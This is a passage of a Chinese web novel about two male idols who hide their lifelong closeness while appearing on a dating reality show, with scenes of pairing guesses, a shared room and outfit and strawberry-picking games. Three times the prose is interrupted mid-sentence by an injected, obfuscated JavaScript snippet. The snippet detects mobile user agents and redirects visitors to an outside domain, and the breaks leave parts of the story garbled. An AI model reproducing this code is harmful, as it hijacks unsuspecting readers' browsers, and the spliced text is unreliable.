一句“谢谢”硬生生拐了三个弯,比阴阳怪气还要魑魅魍魉。 松穆避着镜头在桌下揉了把林露秋的肚子,淡淡应声:“不客气。” 他动作太快,林露秋反手想挠他,却只抓了个空,气得愤愤咬了口杯沿。 热水下肚,还没嘬两口,手机叮地响了,提醒两人进行配对任务。 任务地点就在一楼的露天阳台,和餐桌正对着。 林露秋和松穆走过去,刚把阳台的玻璃门合上,一扭头,就看到了一张熟悉的脸。 顾一默正站在阳台的围栏外,戴着口罩和帽子,和摄像一起看着他们。 因为有高低差,担心仰拍会扭曲两人的五官,顾一默还特地搬了把板凳,从室内看过去,就像是有两个人幽幽飘在了后院。 天色渐晚,顾一默又全副武装,放非自然小说里高低算个怨鬼。 林露秋默默朝松穆挪了几步。 顾一默对此茫无所知,正色道:“请两位公布答案。” 饶是六位嘉宾的关系都不错,但到底亲疏有别,观察久了还是能琢磨出点苗头。 林露秋回头看了眼餐桌的方向,斟酌道:“我觉得......先排除法吧。” 谁和谁是一对他没把握,但谁和谁不是,很明显。 他第一个排除的就是柯响和薛常。 “他们两个相处起来太客气了。”林露秋回想着先前看到的画面,“有点同事?或者像是商业合作伙伴。” 两个人甚至演都演不出几分亲昵,隔了几步微笑、颔首,四目相对,嘴角是勾着的,实际情绪起伏还没看猫爬树大,换身衣服都能一起去参加公司年会,一个致词,另一个就鼓掌,说感谢这么精彩的发言。 林露秋被脑补的场面逗笑,忍俊不禁摇摇头。 松穆也道:“对,但柯响在其他人面前的状态明显不一样。”偶尔还会插科打诨,“感觉他和隗立宵应该很熟。” “嗯,就是他俩一直在一起,太明着来了,反而像烟雾弹。” 两个人在一起,不能太拘谨也不能太大方,柯响和隗立宵的氛围确实舒缓,和谐之余却少了点暧昧。 他俩凑一块,就是那种能在对象不在家的时候一起裹着羽绒服结伴到路边摊撸串的,边喝酒边喊兄弟,我这个月零花钱涨得比你多了。 林露秋提笔,把小册上的连线又划去一条。 林露秋思考问题的时候小动作会很多,他笔盖抵在唇边,隔一会儿就要戳一下,面颊微微凹陷,像是多了一个小梨涡。 松穆没忍住,在林露秋另一边也拿笔盖轻轻戳了一下,看着对称的两个小涡,他心情很好,“我猜柯响是和温白或者尤卜。” 林露秋早就习惯了对方对自己动手动脚,一时也没觉得哪里不对,顺着话往下问,“你看到什么了吗?” “就直觉。” 顿了顿,林露秋忽然道:“尤卜多高啊?” “和我应该差不多。”松穆说。 事实上他、尤卜、柯响和隗立宵都差不多高,185左右。 林露秋也不知道想到了什么,唰唰几笔连完,而后递给松穆看,“这样怎么样?” 松穆没意见,“可以,和我想的一样。” 林露秋信心大增,提交了答案。 分别是柯响-温白,尤卜-薛常和隗立宵-殷潚。 “其实原本想连薛常和殷潚的,因为他们都说自己家里养了狗,但隗立宵和殷潚的磁场太合了,加上年龄和职业什么的,综合考虑,还是选择了这个答案。” 还有尤卜,这么多人里他只对薛常的称呼是哥哥,两人远看都淡淡的,可一对上,感觉就不太一样了。 林露秋没法用语言来描述那种感受,这大抵就是情侣间特有的气场,演都演不出来。 想到这儿,他又觑了眼松穆。 也不知道在别人眼里他和松穆是什么样的。 肯定很不般配吧,否则怎么这么多年都没人扒出来他俩认识,不仅如此,甚至坚定不移地认为他们对对方积怨已深。 什么背地里抢对方的资源,见面了也不打招呼,提起名字就黑脸...... 好吧虽然其中确实也有他们自己的问题在,但是——! 但是...... 林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960325|161041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露秋胸腔中闷着的一口气胀了又胀,盘旋了许久才被幽幽吐出来。 “......” 就真的一点都不像情侣吗? 坦白说,林露秋对松穆是有一丁点怨气在的,他很早就喜欢上了松穆,也能感受到对方对自己与众不同的偏爱,可惜温水煮了这么多年,这家伙依旧像块木头一样,一窍不通。 名字里有木又不是叫他真的变成木头! 再说林露秋自己还有两个呢,也没见这么迟钝。 这么些年一直陷在这冗长又奇怪的“暧昧期”,林露秋背地里不知道叹了多少气。 他思绪繁乱,一时没注意配对结果的公布,直到松穆面露喜色转身想抱他,才堪堪回神。 阳台做的是半露天法式,浮雕栏杆成弧形围起,墙壁上一左一右挂了两盏壁灯,明亮的暖光自侧后方打下,将面容都仿佛蒙了一层绒绒雾气。 松穆的目光触及林露秋并不算好看的神色,还以为是自己太过亲密的举动引得对方不满,于是一边暗自默念“拍摄期间得装不认识,不能随便去抱林露秋”,慢慢收回了手。 等林露秋再去看他,先前露出的那点笑意已经淡下了。 两人心思各异,被镜头抓了个全。 . 因为林露秋和松穆配对成功,另外三对嘉宾干扰失败,都没有额外加分,于是第一个选房间的理所当然是他们两个。 松穆和林露秋都看中了二楼南面那间,取完行李后率先入住,也算提前下班。 林露秋倒是对另外三对的恋爱史挺感兴趣,可惜楼下还要进行第二轮选房游戏,他只得暂且收心,转而开始整理房间。 一口气和这么多人社交早就透支了林露秋的精力,加之房间风格熟悉得像是回了家,他渐渐松懈下来,没再说话。 松穆也顾忌着镜头,不敢开口,于是房间内一时间寂静无声。 别墅被打理得很干净,林露秋看了几处暗角,都没有落灰的痕迹,空气中隐隐还能闻到消毒过后的味道,这让他很安心。 第一晚是自由活动,现在时间又早,两人都没有入睡的打算。 但左右已经回了房,林露秋将空掉的行李箱放好,抬头去看松穆。 松穆对上他的视线,了然,“去洗吧,剩下的我来。” 说完后知后觉自己太“自来熟”了,想多加几个字找补下,可这话能怎么改呢?又不好叫他“林先生”,干脆不去想了,继续整理行李。 来参加节目,松穆其实是有些自己的考量的。 他还年轻,也没退圈的打算,之前八年是他做错了选择,但若是之后还要一直瞒着和林露秋的关系,他自觉不愿。 一是对不起粉丝,二也对不起林露秋。 林露秋在他二十多年的生命里占了满额,除了至亲,世界上是再找不到第二个这样的人了。 松穆很珍视这段友谊,珍视这个人。 所以他想光明正大地告诉所有人。 不过眼下...... 松穆下意识看了眼浴室的方向。 隔音很好,但还是遮盖不掉那细碎的像是珍珠落盘的水声,雾气萦绕在门边,连带着房间的温度都仿佛在升高。 松穆喉结微滚,心想,慢慢来吧。 他怕林露秋生气。 9. 花香 林露秋洗完澡的时候,松穆正在研究房间里的投影。 水声渐停,随之是移门打开的声音,过了片刻,里头传来林露秋的呼声。 “松穆——”隔着水雾和木板,林露秋的嗓音有些失真,低低哑哑,没了平日的清透。 松穆反射性拖长着“哎”了一声,等反应过来,人已经站在浴室门前了。 手里还拿着没来得及放下的遥控。 林露秋问他:“方便吗?可不可以进来帮我一下,有样东西打不开。” 松穆把遥控往床上一丢,遥控咕噜滚了几圈,正好卡在两个枕头中间,“方便。” 说完,就听到门把转动的动静,门板从内侧拉开一条缝,松穆侧身进去,而后被浴室内蒸腾的热气扑了满脸。 一只细白的手忽的划开白雾探了过来,径直抵上松穆的胸膛,附着的水汽浓重,几乎浸透布料。 松穆就这么被那湿濡的指尖定在了原地,任由人施着力道抚摸、按捏,最后掌心整个覆上,攀在了他的脖颈。 许是温度太高,又许是喉结正被不轻不重地揉压,松穆没多久便觉得呼吸不畅,轻微的窒息感让他口干舌燥,于是眉眼垂下时的弧度都变得凌厉了几分。 松穆想开口说些什么,林露秋却先一步轻“嘘”了声,一节温热的指节随之贴上他的唇,而后那道仿佛裹挟着心脏的湿意便消失了,林露秋熟稔地关了他的麦,又轻飘飘收回了撑在他胸前的手。 源于另一个人的温度消失,只有左胸的布料上留下几道洇湿的痕迹,颈间湿润,被风吹得微凉。 这感觉并不好受,松穆拧眉看着始作俑者,下意识张唇,在他指间咬了一口。 林露秋“嘶”了下,声音很轻,像是在笑,松穆想抬眸看他的表情,却又被蒙着眼,推远了些。 紧绷的肩胛磕上门板,呼吸间满是残留下的香气,混着林露秋身上的味道,格外好闻。 松穆的思绪岔了一瞬,他想,林露秋好像总是喜欢这么抵着他。 为什么呢? 林露秋拿那根被他咬过的手指细细描摹着松穆的眉眼,他遮挡得并不严实,吊顶的光透过来,有种别样的晕眩感。 林露秋说:“帮我系一下。”他牵着松穆的手搭在自己腰上,然后用半是苦恼的语调,“试了好几次都不行......你帮帮我,好不好?” 松穆摸到了一根细细的绸带,触感很滑,一用力就在指间打旋儿。 意识到自己握着的是什么的时候,松穆的肌肉不禁一僵,就连眼皮都一道阖上了,“......怎么穿了这件?” 林露秋是个天生的衣架子,无论家中长辈亦或是品牌方送来的衣服,只要他穿上,少有难看或是不合适的。 唯独有一件。 那是前年一家高奢品牌送来的生日礼物,这家牌子一向以独特的设计闻名,于是就连送来的睡衣都格外与众不同。 衣服以蓝黑为主色调,面料极软,侧面斜缝了银线,宛如暗夜银河。乍一看的确很漂亮,偏偏侧腰处大面积镂空,后方又是开背式的,以绸带作为连接,穿起来尤为复杂。 至少上一次,松穆和林露秋就研究了半天。 穿上后也不能说难看,只是...... 松穆现在都没法想出一个合适的词语来形容那样的林露秋,黑幕下是几乎刺目的白,仿佛亲眼目睹了一场雪地极光,美得像是奇迹。 先前林露秋身上还裹着浴袍,松穆没看仔细,这会儿一摸,才察觉出不对。 这样的触感,他没在林露秋的衣服里见过第二次。 脑海中跟着回想起当时的画面,松穆眼皮发烫,他伸手想去搂林露秋,意料之外,碰到了一手温热嫩滑。 林露秋不知什么时候已经把浴袍解开了,柔韧的腰部与松穆的掌心贴合,像是蹭过一面暖玉。 他似乎被松穆抓得有点恼,浑身都抖了下,声线绷着,细听还能发现不太稳当,“不小心拿的。” 不小心还能从家里带到这里的浴室? 松穆直觉他在敷衍自己,想追问,又被打断了。 因为林露秋贴了过来,半趴在他肩头,喘着气,“别问了,快点系,冷。”有点凶,还有点可怜。 松穆就说不出话了,连让他别捂着自己的眼睛都忘了,环着林露秋的腰,一点点替他系好绸带。 动作间两人越贴越近,松穆闻到林露秋身上的花香,鼻尖凑到他颈后,嗅了嗅。 他挺高兴的,“是不是抹了我送的那瓶乳膏?” “嗯。” 松穆就又低了点头,把人抱了个满怀,“好香。” “......嗯。” 松穆现在能理解为什么林露秋这么喜欢桂花味了。 醉人得很。 . 最后林露秋也没能穿着这身离开浴室。 松穆系完绸带后面色就红得不正常,看都不敢多看他一眼,夺门而出。 等再回来,手上已经拿了一套新的居家服,长裤长袖,温暖得连锁骨都看不到。 换下来的衣服被松穆胡乱塞到了自己行李箱里,在角落压得严严实实,估计短时间内是再见不到面了。 等两人都收拾好,房门被轻扣了三下,温白推门进来,问他们要不要一起去娱乐室聊天。 娱乐室在一楼走廊的尽头,做了落地窗设计,能看到院子中央的喷泉。 他们到的时候其他人已经聊开了,毛毯抱枕铺了一地,灯光调得昏暗,还点了熏香,很有睡前夜话的氛围。 殷潚坐在角落,像猫似的窝着,旁边的唱片机滋滋转着,他怀里抱着一包什么东西,眼皮半垂。 林露秋没打算和松穆时时刻刻黏在一块,他见殷潚那边还有个空位,就钻了过去,留后者一个人幽幽坐到了另一边。 殷潚见他坐下,小小打了个哈欠,随后把手中的东西递过去,“吃吗?” 林露秋这才看清,原来是一包瓜子。 还是超级大包装的,估计能从节目开播嗑到结束。 殷潚介绍:“隗立宵之前超市抽奖抽中的,混合口味,据说销量很好。” 实在吃不完,干脆带过来了,人多力量大嘛。 林露秋饭后一般不吃东西,于是笑着婉拒了,殷潚也不强求,哦了声,换了个坐姿,把瓜子放到一旁。 瓜子的数量实在多,淅淅索索一动,声音差点盖过音乐。 背后是布制的懒人沙发,林露秋后仰着躺下,任由自己被温暖包裹,从他的角度望去,刚好能将夜景一览无遗。 乡下空气纯净,晚上的天空也格外清澈,大颗的星星闪烁着,像是在眨眼。 他听着众人的交谈声,又看了眼不远处的松穆,忽然觉得一阵平 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“一开始只是朋友?那后来是怎么发现自己喜欢对方的呢?” 这话说完林露秋才反应过来是不是太隐私了,他道了声抱歉,“我只是有点好奇,如果不方便可以不说。” “没什么不方便的,不方便就不会来参加节目了。”殷潚摇摇头,笑了声,“但真要我一下就回答吧......唔,怎么说呢,因为觉得他很好,对别人好,对我也好。” “他看着大大咧咧的,但实际上心很细,能看出我开心或者不开心,知道我的喜恶。而且他很厉害,无论是社交还是各方面能力,都很出众,可在我面前的时候又有点傻傻的......” 殷潚一口气说了很多,最后,他说。 “最重要的是,他给了我明目张胆的偏爱。” “而我恰好没办法拒绝这份爱。” . 【他给了我明目张胆的偏爱】 林露秋回房后脑海中依旧回荡着这句话。 偏爱么...... 但到底是因为偏爱才喜欢,还是因为喜欢才拒绝不了偏爱呢? 他想不出答案。 睡前的摄像头是统一关闭的,松穆检查完电源后翻身上床。 林露秋已经躺下了,靠在枕头上发呆。 松穆习惯性去抱他,把人牢牢箍在怀里,才安心地准备入睡。 谁知道眼睛才刚闭上,怀里的人倏地动了。 林露秋翻过身面对着松穆,他仰着头,夜幕下的眸光发暗。 两人贴得极近,近到呼吸都交织在一块,松穆以往从没觉得哪里不对,今天却突然有点不太自在。 他大脑发烫,问:“怎么了?” 林露秋没有说话,就这么定定看着他,松穆的呼吸于是越来越急促,胸膛起伏,双臂都略微发麻。 他最近在和林露秋独处时总会产生莫名的冲动,就像是潜意识中的某样东西即将破门而出,锁链绷紧,勒得他心脏滚烫。 松穆晕乎乎地想,总不见得友情还有厌倦期吧。 胡思乱想中,月光笼罩着的人开口了。 恍惚间,松穆错觉有人灌醉了他的灵魂,他的意识飘远,而后五感开始模糊、震颤。 他听到林露秋问他:“想和我接吻吗?” 10. 比赛 松穆宕机了。 他的大脑失去了响应,茫然地睁着眼。 ......还没到三十也会出现幻听吗? 看来得找个时间去体检一下了。 他冷静地判断着。 而后下一秒,松穆的领口就被人猛地攥起,林露秋一巴掌拍在他的枕头上,居高临下地看着他。 林露秋的表情是冷的,偏偏语调又轻又柔,“困了吗?现在要睡了?” 微凉的指尖抚过松穆的下巴,有些痒。 松穆把自己的衣领从他手中解救出来,忍了忍,还是没忍住,反手握了上去。 他知道眼下的情形似乎不大对劲,可多年来的习惯叫他下意识脱口而出:“手怎么这么冷,是空调温度太低了吗?” 问完,两个人都沉默了。 林露秋从小体质就不怎么好,眼下又正是换季的时候,松穆担心他着凉,把人按回了被子,裹了又裹,捂暖了。 “......” 林露秋被迫中断技能释放,窝在松穆暖好的被褥中,渐渐冷静下来。 他承认自己方才冲动了,他一个人守着秘密守了太久,现在还身处这样的环境中,难免急躁。 况且他也的确好奇松穆听到这句话后的反应。 会是像往常一样任由他胡来,还是吓了一大跳,不敢再和他接触? 林露秋幻想了无数种场景,却没料到松穆另有出路。 他居然已读乱回。 直到林露秋在熟悉的怀抱中睡去,两人都没再开口。 就好像做了一场短暂又疯狂的梦,没有人会回头拾起梦境的碎片。 . 梦境朦胧虚幻,记不真切。 但再怎么虚无缥缈的东西也耐不住循环播放。 松穆从来没做过这么清晰又难忘的梦,梦里无论他在哪里,做什么,身边总会莫名其妙出现一只随机形态的林露秋,揪着他问:“要不要接吻?” 松穆只能闭着眼在梦境中拔腿狂奔。 一晚上过去,他睡了比没睡还累,神奇的是,一通折腾过后,松穆的精神倒是不错,有种诡异的爽感。 他将此诊断为熬夜综合征。 林露秋认床,没怎么睡熟,天一亮就醒了,他安安静静洗漱完,一扭头,看到了迷迷瞪瞪的松穆。 松穆的头发睡得有点乱,但脸没崩,他睡衣都是一身all black,蹙着眉,一手抓起额发,拽得二五八万地走了过来。 然后一抬手,轻轻覆上了林露秋的额头。 “没发烧,太好了。”酷盖的脸上露出心有余悸的表情。 昨天在浴室里待了那么久,林露秋身上穿的还少,他是真怕冷热交替给冻感冒了。 “......”林露秋拍开他的手,“没那么娇气。” 松穆不痛微痒地收回手,站在一旁开始清洗。 两人各忙各的,动作间偶然会碰到对方,肌肤相触,又很快回归原位,丝毫没有和他人共住一室的局促。 也不见昨日插曲过后的尴尬不适。 毕竟他们从小就爱粘在一起,在很长一段时间里都堪称形影不离,房间都用的同一个,以至于将习惯刻进了骨子里,连长大后都没法离开对方。 甚至时至今日,林露秋和松穆出门旅游都是定的一张大床房。 林露秋曾经听过别人聊阿贝贝情节,大家分享着从小陪伴自己的玩偶或毯子,感叹时间飞逝。当时他只是做个安静的倾听者,适时给出些反应,却从头到尾没有参与。 毕竟谁能说得出,我的阿贝贝可能是个人这样的话? 林露秋和松穆的情感很复杂,是朋友,是亲人,更是旁的什么关系,这份隐约又磨人的羁绊日复一日缠绕在身侧,烙印出独一无二,只有对方能够契合的痕迹。 互相珍视,互相依恋,互相汲取。 正是因为了解,林露秋才敢在松穆面前这么肆无忌惮,反正松穆这儿永远给他留有犯错的权利。 林露秋拥有松穆绝对的偏爱。 想通了这一点,林露秋心头的烦闷散去不少,他明目张胆地注视着镜子中另一个人的眉眼,勾了勾唇。 “昨晚睡得怎么样? “还行。”松穆吐出泡沫,“和在你家差不多。”就是梦里的运动量有点超标。 “是么。”林露秋意味深长地看了他一眼,半晌,悠悠来了句,“我还以为你会一直想着我的话彻夜不眠呢。” “看来是我太高估自己了。”林露秋轻笑。 “咳...咳咳......” 松穆始料未及,被林露秋这段话猛呛了一下,他抹了把脸,眉眼被水珠浸得乌黑透亮,“不是,昨天,昨天......你?” 松穆催眠了自己一晚上,想着林露秋什么都没说自己什么都没听到才放心睡着的,谁能想到对方忽然发难,直接把他刨了出来。 梦境和现实缓缓交叠,被接吻小啾追击的体验再度浮现上来,让松穆差点神志不清点头。 接吗?接啊! 不不不不不不...... 好兄弟怎么能接吻呢? ...... 好兄弟怎么不能接吻呢?! 松穆控制不住乱飞的思绪,崩溃地在心里哐哐给了自己两拳。 林露秋一见他这傻样就喜欢,上去呼噜了一把松穆翘起的头发,心情颇好地离开了。 多施点肥吧,希望这木头能早点开花。 . “哇——开花了!” 刚下楼,林露秋就听到一声轻呼。 尤卜、温白和殷潚围在一块,正趴在阳台上往外看。 “什么开花了?”林露秋被吸引了过去。 “小秋醒了啊?早上好。”温白先是和他道了声早,而后侧身让出位置,“我们在看庭院的植被,那边有一簇开花了。” 林露秋顺着向外望,庭院被碎石路分成两半,边缘栽种了一圈花卉,许是没到季节,花朵大多是闭合的样子,没想到一天过去,竟然有一簇开了花。 娇嫩的,又充满生机的,点缀在一片浓郁的绿色中,很是夺目。 “昨天瞧着还焉头焉脑的。”温白感叹,“好顽强的生命力。” 林露秋:“也是这边环境好。” 今天的早饭是大家一起做的,为了图方便,摊的是面饼。 林露秋食欲不重,又懒得吃饭,一张不厚的蛋饼硬是啃了半个小时才啃了一个角,剩下的躲着镜头偷偷摸摸全塞给了松穆。 他是惯犯了,一套动作做得行云流水,想着反正周围这么多镜头,松穆管不到自己,颇为怡然自得。 正懒洋洋地瘫在躺椅上晒太阳,余光中却看到了松穆渐渐靠近的身影。 左手端着饼,右手是牛奶,都冒着热气,应该是重新加热过。 松穆径直在林露秋边上落座,而后一点没顾忌,当着客厅里所有人的面,把一把叉子放到了林露秋掌心。 “再吃一点吧,万一午饭吃的晚,会饿。”说完,他避开林露秋的视线,拿起茶几上的杂志翻看了起来。 软蛋饼被切成了方便入口的小块状,边缘也挤了一点调味的番茄酱,做出这些事的人是谁不言而喻,只是松穆并未在众人前表露出什么,对他的态度亲近中仍保留着适当的距离。 ——这下被镜头束缚着的反倒是林露秋了。 他不情不愿道了声谢,认命地继续咀嚼温热的蛋饼。 就是牛奶实在喝不下了,剩了小半,倒掉又不太合适,最后被林露秋做贼似的递给了松穆,后者就着他用过的吸管,利落地清了底。 虽说是综艺,但别墅内的镜头并不算密集,许是考虑到嘉宾们的体验感,节目组在布置时留下了很多隐蔽的死角,给足了他们喘息的空间。 吃完饭,别墅门铃声响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960327|161041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起,柯响去开的门,回来的时候手上多了一个大竹筐。 “节目组送来了什么吗?” 柯响把盖子打开,里面都是成套的衣服,贴着八人各自的名字,他一手托着筐,一手拿起最上面的卡片,念:“【欢迎各位来到记录第二天,一刻钟后,即将开启今日的第一个任务,任务关键词:分组、竞技、红色液体、断裂。】” “......”他默了默,“怎么听起来这么奇怪。” 搞什么,惊悚恋综? 任务卡片的配色也很独特,不像其他恋综那样走的甜蜜粉白调,主色反而铺了大面积的黑红,配上毫无情绪起伏的系统字体,活像是什么怪盗预告信。 林露秋目光一凝:“背面还有字。” 松穆看清字,缓声开口:“【温馨提示,队友不一定是队友,有时分开行动可能会获得更高的效益。接下来,就请展示你们的速度吧。】” “?” “......” 任务卡上的言语含糊不清,八人同时停滞下来,一片沉默。 随后,不知是谁先动了,静止的局面忽的打破,几个关键词在变化中被串联了起来,所有人都回过了神,空气骤然躁动。 “快!拿衣服——” 柯响速度很快,他见其他人要冲上来,迅速拎起竹筐朝后跑去,刚巧第一套衣服是温白的,他看准方位抛向对方,又绕着客厅跑了很大一圈。 温白第一个拿到衣服,没再原地多逗留,很快回了房间。 换衣服的时间只有一刻钟,而先后顺序又影响到下一个任务的排名优势,于是周围气氛变得紧张起来。 柯响一边绕圈一边翻找自己的衣服,可惜他的衣服埋在最下,等其他人都围了上来依旧没能抽出来,甚至中途还被薛常顺走了一套。 温白不在,剩下六个人堵柯响一个,就算有滔天的本事也坚持不住,竹筐很快被夺下。 松穆林露秋趁乱各自拿了一套,只可惜名字上面都不是自己。 最后众人分开,隗立宵手中拿了两套,其他人除了柯响都有一套,但没有人离开。 几人互相对视一眼,乐了。 衣服全部错位,还得再来一轮。 六个人把衣服重新堆在一块,打混了,没带偷跑的柯响。 柯响:“喂!” 隗立宵:“你们家都上去一个了,你就忍忍吧。” “啧。” “怎么分?”松穆问,“再耽误下去大家都要超时了。” “要不简单迅速的比个赛。”殷潚提议,“也文明友善点,完成的直接走。” 林露秋觉得可行,“可以,比什么?” “就比......”殷潚弯起了嘴角,狡黠的目光扫过众人。。 “谁最先亲完嘴谁先拿衣服!” Rap似的丢下一串不带间歇的句子,还没等别人转过弯,殷潚抓着隗立宵就来了一口。 后者很上道,迅速捞起自家的两套衣服,抱着男朋友大步一迈狂奔回了房间。 “嘭——咔嚓。”是房门关闭反锁的声音。 林露秋:“?” 松穆:“不是......” 谁同意参赛了啊?! 而另一边,尤卜眸光闪烁,也没管对面呆滞的两个人,轻轻吻上了薛常的唇。 短暂却又唯美的一个吻结束,他拿好自己的衣服,冲三人优雅地行了个礼,“待会儿见。” 薛常被他牵着手,微笑颔首。 柯响看到了自己的衣服,也猫着腰悄悄拿着走了。 转眼间,偌大的一楼竟然只剩下了林露秋和松穆两个人。 两人都是第一次这么近距离看别人亲嘴,或多或少有点面部升温,一个看天,一个看地,连任务都差点抛到脑后。 半晌,松穆支支吾吾地拽了下林露秋的袖子,几乎冒烟,“我、我俩,还要亲吗?” 11. 可爱 “亲什么亲?!”林露秋耳尖通红,声音却不自觉放大,“人都走光了,亲给谁看?” ...呸呸呸!就算有人也不亲。 林露秋无奈扶额。 他怎么头脑也开始不清醒了。 “......”松穆莫名感到一阵委屈,又说不出个所以然,只好默默撤回了自己的手。 等换好衣服重新集合,其他人已经全都就位了,他俩排名不出所料并列倒数。 节目组给的衣服是一份背带裤套装,每个人的款式不尽相同,不过色调都是很清新的奶油风。 林露秋他们组分到的是蓝黄色,松穆内搭是一件长袖黄T,下身搭配长款浅蓝背带裤,布料垂感很好,腰线微收,宽松之余也显腿长。 林露秋的颜色和他正相反,黄色的斑点背带裤是短款,长度不及膝盖,边缘做了类似泡泡袖的设计,还配了一个小黄鸭斜挎包。 两人站一块,一下就稚气了许多。 松穆和他说悄悄话,“这套好像我们幼儿园的校服。” 小时候他俩手拉手去公园春游,拍照的那身就和现在差不多。 林露秋听罢觑了他一眼。 松穆的穿衣风格一向不怎么守规矩,好好的两条背带硬是要解开一边,垂下的锁扣在晃动间叮当作响,像是小狗在摇铃铛。 今天气温突然回升,许是觉得闷热,松穆将袖口卷起了一截,露出青筋虬结的小臂,人也长得又高又大,一靠过来,半边的风都挡没了。 林露秋不免幽叹,当年分明是和他一块躺在婴儿床里打滚的人,怎么一转眼自己只能看到对方的下巴了。 换衣服的时候匆忙,没来得及整理,摩擦下林露秋的发尾朝四周翘了起来。 他的头发不是很短,有一小撮能扎起来,是原先被松穆剪坏的。 那家伙当初兴致勃勃说想给他露一手,还带了全套的装备,满脸胸有成竹,最后一剪刀下去,直接被林露秋连人带刀轰出了家门。 做爱豆的,多少都对自己的外貌有些敏感,何况是林露秋这种从小被当成洋娃娃装点长大的,眼看第二张脸被松穆霍霍得凹凸不平,他一个气血上涌,连着许久都没给过好脸色。 不过等头发重新长长了,林露秋倒也没有修去松穆留下的痕迹,就着留长了发尾,松松束在耳后。 他的头发一翘就会朝两边炸开,狗尾巴草似的变成毛绒绒一捧,松穆掏出衣兜里的小皮筋,趁录制间隙替林露秋将发尾梳顺了,扎了起来。 两人躲在了角落,但到底周围都是工作人员,人来人往,林露秋的心脏不免被提了起来,眼神警惕地四处瞟,生怕被别人当场抓获。 松穆站在外侧,几乎挡住林露秋的全部身形,林露秋被他笼着,只能隐约看到地上的光影变动,他侧过头小声催促:“好了吗?快点,别被发现了。” 松穆表现得倒是一如既往自然,闻言也没有加快手上速度,反而在扎完头发后摘下了自己背带上挂着的一只小黄鸭,仔细地安在了林露秋的发圈上。 他摸了摸林露秋的头,带着自己都未曾注意的轻柔的笑,“好了。” 正巧那边开始叫人,林露秋就这么快步赶了过去。 他长相偏冷,不笑的时候总给人几分距离感,偏偏此刻一身青春稚嫩的黄蓝背带,耳后又夹了一只摇摇晃晃的小鸭,将清冷矜傲的假面打得破碎。 反差尤为强烈。 引得一群人悄悄觑了他好几眼。 休整结束,节目继续拍摄,直到一车人被装进小巴士吭哧吭哧送到了田里,林露秋才算明白先前的任务提示究竟是什么意思。 他眉梢一挑,看向大门前摆放着的一个个木桶,缓缓念出其上贴着的标识:“鲜榨草莓汁?这就是传说中的‘红色液体’?”说完,自己都觉得好笑。 再朝远处看,是一座巨大的透明草莓棚,里面横列了一排又一排望不到头的青藤,鲜红饱满的草莓坠在藤间,在阳光下发着光,叫人很有食欲。 节目组不再卖关子,宣布了这一环节的游戏规则。 环节名叫【嘟嘟嘟草莓大作战】,也就是摘草莓,八个人分成三组进行比赛,以摘得的草莓重量定胜负。游戏过程中会出现随机道具卡若干,需要固定一名组员完成任务来抽取,效果有正有负。 游戏会同时进行,最前方的空地上有一张长桌,放了一个黑色不透明的箱子,游戏开始后由各组派出的成员进行附加比赛,胜者可以抽取一张道具卡。 松穆问:“我们分成三组?那岂不是有一组只有两个人,这么吃亏啊。” 先前换衣服最慢的两个人就是松穆和林露秋,他理所当然认为自己和林露秋绑定进了倒霉蛋二人组,闻言虽然吐槽了一句,却也没怎么放在心上。 反而还挺期待的。 毕业之后他真的太久没有和林露秋一起胡闹疯玩的机会了。 趁着这次录制,他想好好把握。 顾一默解释:“是的,所以为了平衡游戏体验,若是两人组抽中了针对本组的负面卡片,则卡片效果会顺延给下一组。” 换句话说,对两人组来说,道具卡不仅全部是安全区,甚至比其他两组要多出一个效果牌。 “那么接下来,我将根据先前换衣服的先后速度进行分组。”她宣布:“规定时间内到达集合地点的第二、四、六名,也就是殷潚、薛常、柯响三位为一组;第三、五、七名,隗立宵、尤卜、林露秋一组;首末两位,温白、松穆一组。” “游戏限时半小时,赛后将由排名顺位颁发奖品。特别注意,奖品会直接影响到之后的约会环节哦,所以希望大家一定要全力以赴~” 对于这个分组结果,显然大家都有些意外。 四对情侣都被拆了开来,游戏奖品又和约会息息相关,这样微妙的场面使得众人早在游戏开始前就打起了自己的算盘。 ——要不要结盟? “难怪说‘队友不一定是队友’。”林露秋回过神,半是无奈地笑,“排名太近反而是把自己拆开了。” 柯响也有点失望。 早知道他就留下来看那两人的热闹了,混个倒数第一反而能和温白在一起。 一旁的松穆更是生出一种钱包里的钱被人平白偷走的不爽。 他把垂下的背带卡扣摇得小声而聒噪。 两人组的采摘线路在离道具箱最近的二号线,左右两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他自觉是林露秋的家人,现在又背着一个怪里怪气的“见习男友”身份,要是被别人家男朋友比下去了...... 绝对不可以! 抱着参加月末考核的心态,松穆表情都坚定了几分。 耳边传来一阵逐渐接近的脚步声,他知道是第三组的对手就位了,正思索来的是隗立宵还是尤卜,要不要放点垃圾话增加气势,一扭头,猝不及防和林露秋对上了视线。 眸中狂气还未散去的松穆:......? 再一瞥后面,是微笑着朝他招手的隗立宵和尤卜。 “......” 他要和林露秋比赛? 松穆恍惚地咽下了临门一脚的垃圾话。 